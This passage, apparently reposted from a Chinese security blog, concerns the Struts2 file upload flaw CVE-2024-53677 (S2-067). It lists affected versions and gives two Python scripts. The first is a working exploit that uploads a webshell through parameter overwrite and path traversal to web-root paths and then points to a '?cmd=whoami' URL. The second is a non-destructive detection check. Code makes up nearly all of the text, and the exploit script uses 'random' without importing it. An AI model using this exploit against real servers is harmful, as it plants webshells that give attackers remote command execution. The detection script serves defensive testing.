- Struts 2.0.0 – Struts 2.3.37(已终止使用)
- Struts 2.5.0 – Struts 2.5.33
- Struts 6.0.0 – Struts 6.3.0.2
#S2-067.py
import requests
import argparse
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import os
def upload_file(target_url, upload_endpoint, webshell_path, destination_path, allowed_types=None, allowed_extensions=None, simulate_i18n=False):
"""
Upload a file to the target using parameter overwrite and path traversal.
"""
upload_url = urljoin(target_url, upload_endpoint)
print(f"[INFO] Uploading file to {upload_url}...")
headers = {"User-Agent": "Mozilla/5.0"}
with open(webshell_path, "rb") as f:
webshell_content = f.read()
files_payload = {
"upload": (os.path.basename(webshell_path), webshell_content, "application/octet-stream"),
"uploadFileName": destination_path
}
if simulate_i18n:
simulate_i18n_errors()
# Simulate MIME type and extension restrictions
if allowed_types:
headers["Content-Type"] = allowed_types
if allowed_extensions and not destination_path.endswith(tuple(allowed_extensions)):
print(f"[WARNING] File extension {destination_path.split('.')[-1]} might not be allowed.")
try:
m = MultipartEncoder(fields=files_payload, boundary='----WebKitFormBoundary' + ''.join(random.choices("abcdefghijklmnopqrstuvwxyz1234567890", k=16)))
headers["Content-Type"] = m.content_type
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
if response.status_code == 200:
print(f"[SUCCESS] File uploaded successfully: {destination_path}")
verify_uploaded_file(target_url, destination_path)
else:
print(f"[ERROR] Upload failed. HTTP {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Request failed: {e}")
def verify_uploaded_file(target_url, file_path):
"""Verify if the uploaded file is accessible."""
file_url = urljoin(target_url, file_path)
print(f"[INFO] Verifying uploaded file: {file_url}")
try:
response = requests.get(file_url, timeout=10)
if response.status_code == 200:
print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")
else:
print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")
except requests.RequestException as e:
print(f"[ERROR] Verification failed: {e}")
def simulate_i18n_errors():
"""Simulate i18n file error handling scenarios."""
errors = {
"struts.messages.error.uploading": "Error uploading file.",
"struts.messages.error.file.too.large": "The file size exceeds the maximum limit.",
"struts.messages.error.content.type.not.allowed": "The file type is not allowed.",
"struts.messages.error.file.extension.not.allowed": "The file extension is not allowed."
}
for key, message in errors.items():
print(f"[I18N SIMULATION] {key}: {message}")
def predefined_paths():
"""Return a list of common test paths for path traversal."""
return [
"../../../../../webapps/ROOT/test.jsp",
"/tmp/webshell.jsp",
"/var/www/html/shell.jsp"
]
def main():
parser = argparse.ArgumentParser(description="S2-067 Exploit - Testing Deprecated File Upload Interceptor")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")
parser.add_argument("--webshell", required=True, help="Path to WebShell file")
parser.add_argument("-s", "--single", help="Single target path for testing (e.g., ../../../../../webapps/ROOT/webshell.jsp)")
parser.add_argument("-d", "--directory", nargs="+", help="Multiple target paths for testing")
parser.add_argument("-p", "--predefined", action="store_true", help="Use predefined common paths")
parser.add_argument("--allowed_types", help="Simulated allowed MIME types (e.g., application/octet-stream)")
parser.add_argument("--allowed_extensions", nargs="+", help="Simulated allowed file extensions (e.g., .jsp, .txt)")
parser.add_argument("--simulate_i18n", action="store_true", help="Simulate i18n error handling scenarios")
args = parser.parse_args()
if args.single:
upload_file(
target_url=args.url,
upload_endpoint=args.upload_endpoint,
webshell_path=args.webshell,
destination_path=args.single,
allowed_types=args.allowed_types,
allowed_extensions=args.allowed_extensions,
simulate_i18n=args.simulate_i18n
)
elif args.directory:
for path in args.directory:
upload_file(
target_url=args.url,
upload_endpoint=args.upload_endpoint,
webshell_path=args.webshell,
destination_path=path,
allowed_types=args.allowed_types,
allowed_extensions=args.allowed_extensions,
simulate_i18n=args.simulate_i18n
)
elif args.predefined:
for path in predefined_paths():
upload_file(
target_url=args.url,
upload_endpoint=args.upload_endpoint,
webshell_path=args.webshell,
destination_path=path,
allowed_types=args.allowed_types,
allowed_extensions=args.allowed_extensions,
simulate_i18n=args.simulate_i18n
)
else:
print("[ERROR] No testing mode selected. Use -s, -d, or -p.")
parser.print_help()
if __name__ == "__main__":
main()
#Check-CVE-2024-53677.py
import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
# Configure logging
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[logging.StreamHandler()]
)
def detect_vulnerability(target_url, upload_endpoint):
"""
Non-destructive detection of CVE-2024-53677.
"""
logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
upload_url = urljoin(target_url, upload_endpoint)
test_filename = "../../vuln_test.txt"
harmless_content = "S2-067 detection test."
# Attempt to overwrite file name using OGNL binding
files = {
"upload": ("test.txt", harmless_content, "text/plain"),
"top.uploadFileName": test_filename # Attempt filename overwrite
}
# Custom Content-Type boundary
boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
m = MultipartEncoder(fields=files, boundary=boundary)
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": m.content_type
}
logging.info(f"Sending test request to upload endpoint: {upload_url}")
try:
# Send file upload request
response = requests.post(upload_url, headers=headers, data=m, timeout=10)
# Analyze HTTP response
if response.status_code == 200:
logging.info("[INFO] File upload request succeeded.")
if"vuln_test.txt" in response.text:
logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
else:
logging.info("[INFO] Target does not appear vulnerable.")
elif response.status_code in [403, 401]:
logging.info("[INFO] Access denied. Ensure proper permissions.")
else:
logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
except requests.exceptions.RequestException as e:
logging.error(f"[ERROR] Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
args = parser.parse_args()
logging.info("Starting detection process...")
detect_vulnerability(args.url, args.upload_endpoint)
logging.info("Detection process completed.")
if __name__ == "__main__":
main()
原文始发于微信公众号(励行安全):新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论